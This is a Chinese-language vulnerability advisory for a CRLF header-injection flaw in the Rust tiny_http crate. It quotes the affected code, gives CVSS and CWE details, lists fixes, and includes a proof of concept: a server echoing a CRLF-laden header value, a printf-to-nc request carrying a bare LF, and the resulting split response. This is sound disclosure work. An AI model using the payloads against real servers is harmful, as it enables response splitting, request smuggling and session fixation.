
分配的 CVE ID: CVE-2026-66753
tiny_http 不会拒绝 HTTP 头值中的回车或换行,无论方向如何。
在请求侧,read_next_line 仅在 CRLF 处结束一个头行,因此单独的 LF 会保留在解析后的值中并到达应用程序。在响应侧,Header::from_bytes 仅验证字节是 ASCII,而响应写入器会原样发出值,因此包含 CRLF 的值会拆分响应。
将请求头值反射到响应头中,或将请求头重新序列化到另一连接的应用程序,因此会继承一个注入原语,且没有任何迹象表明有问题。
仓库 URL:https://github.com/tiny-http/tiny-http
| 受影响 | 所有已发布版本,直至并包括 0.12.0(2022-10-06),即当前版本 |
| 已验证 | 0.6.2、0.6.3、0.8.0、0.9.0、0.10.0、0.11.0、0.12.0 |
| 修复于 | 撰写本文时尚无修复版本 |
这不同于 RUSTSEC-2020-0031 / CVE-2020-35884,后者涉及 Transfer-Encoding 解析并在 0.6.3 和 0.8.0 中修复。此处描述的行为在该修复前后均存在。
CWE-113(HTTP 头中对 CRLF 序列的中和不当),是 CWE-93(CRLF 注入)的一个特定情形。
CVSS 4.0 基础评分 6.3(中危)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N
一个远程、未认证的客户端,向任何 tiny_http 服务器发送原始 HTTP。无需凭据或用户交互。
两种消费方模式会将其转化为漏洞:
将请求头值复制到响应头中的应用程序。这是 CORS 来源回显、基于请求数据构建的 Location 头以及 cookie 处理背后的反射模式。请求值中的单独 LF 会到达响应;如果应用程序自行构造响应值,则可能携带完整 CRLF。
将请求头重新序列化到另一连接的应用程序,例如反向代理。单独的 LF 会被写入上游请求,而将裸 LF 视为头行终止符的后端会把一个请求读成两个。RFC 9112 第 2.2 节允许接收者这样做,因此这些后端符合规范。经实测,Go net/http 和 Python http.server 都接受这一点。
tiny_http-0.12.0/src/client.rs,第 80 至 102 行。循环仅当 LF 前面有 CR 时才返回。任何其他字节,包括单独的 LF 或单独的 CR,都会在第 100 行被推入行缓冲区:
84 loop {
85 let byte = self.next_header_source.by_ref().bytes().next();
...
92 if byte == b'\n' && prev_byte_was_cr {
93 buf.pop(); // removing the '\r'
94 return AsciiString::from_ascii(buf)
95 .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
96 }
97
98 prev_byte_was_cr = byte == b'\r';
99
100 buf.push(byte);
101 }
LF 是 0x0A,CR 是 0x0D,两者都是有效 ASCII,因此第 94 行的 AsciiString::from_ascii 接受它们。
tiny_http-0.12.0/src/common.rs,第 184 至 191 行,随后仅修剪该值。trim 会移除前导和尾随空白,但保留内部字节不变:
184 fn from_str(input: &str) -> Result<Header, ()> {
185 let mut elems = input.splitn(2, ':');
186
187 let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188 let value = elems
189 .next()
190 .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191 .ok_or(())?;
CRLF 对无法存活,因为它会终止该行,但单独的 LF、单独的 CR 以及 \n\r 等序列都可以存活。
tiny_http-0.12.0/src/common.rs,第 166 至 172 行,仅检查 ASCII:
166 pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171 let header = HeaderField::from_bytes(header).or(Err(()))?;
172 let value = AsciiString::from_ascii(value).or(Err(()))?;
tiny_http-0.12.0/src/response.rs,第 99 至 104 行,不进行任何转义即写入该值:
99 for header in headers.iter() {
100 writer.write_all(header.field.as_str().as_ref())?;
101 write!(&mut writer, ": ")?;
102 writer.write_all(header.value.as_str().as_ref())?;
103 write!(&mut writer, "\r\n")?;
104 }
注意,第 226 行的 HeaderField::from_str 确实拒绝字段名中的空白,但第 171 行的 HeaderField::from_bytes 不拒绝,因此响应头名称也未受检查。
步骤 1. 启动一个服务器,打印已解析的请求头值,并将包含 CRLF 的值回显到响应头中。
use tiny_http::{Header, Response, Server};
fn main() {
let server = Server::http("127.0.0.1:8004").unwrap();
for request in server.incoming_requests() {
for h in request.headers() {
if h.field.equiv("X-Test") {
println!("parsed X-Test value = {:?}", h.value.as_str());
}
}
let evil = "a\r\nX-Injected: yes";
let mut resp = Response::from_string("body");
resp.add_header(Header::from_bytes(&b"X-Echo"[..], evil.as_bytes()).unwrap());
let _ = request.respond(resp);
}
}
步骤 2. 发送一个 X-Test 值包含裸 LF 的请求。在下面的命令中,\n 是单个换行,而 \r\n 是 CRLF。这个区别正是测试的重点,因此不要让编辑器将其规范化。
printf 'GET / HTTP/1.1\r\nHost: x\r\nX-Test: aaa\nbbb\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8004
标准输出上的结果。LF 仍位于解析后的值内部:
parsed X-Test value = "aaa\nbbb"
线路上的结果。响应头被拆分成两个:
HTTP/1.1 200 OK
Server: tiny-http (Rust)
Content-Type: text/plain; charset=UTF-8
X-Echo: a
X-Injected: yes
Content-Length: 4
body
tiny_http 本身不会重新发出请求头,因此请求侧行为是潜在原语,而非直接危害。在任何转发或反射头值的消费者中,它会变为可利用的:针对容忍 LF 的后端产生请求走私,或在响应中产生头注入。
响应侧行为在任何将受攻击者影响的文本放入头值的应用程序中可直接利用:在源站上下文中进行脚本注入、缓存投毒、通过注入的 Set-Cookie 进行会话固定,以及覆盖安全头。
作为对比,http crate 在 HeaderValue::from_str 中拒绝 CR 和 LF,这就是基于它构建的栈不会暴露这两种行为的原因。
在两个边界处都拒绝控制字符。
在 read_next_line (src/client.rs 第 80 行) 中,将头行中的裸 CR 或裸 LF 视为协议错误并返回 400,而不是将其折叠进值中。或者在分割后于 Header::from_str (src/common.rs 第 184 行) 中拒绝它们。
在 Header::from_bytes (src/common.rs 第 166 行) 中,拒绝包含 0x0D、0x0A 或 0x00 的值,并拒绝包含 RFC 9110 token 集合以外任何内容的字段名。由于该签名是可能失败的,调用者已经处理了返回 Err 的情况。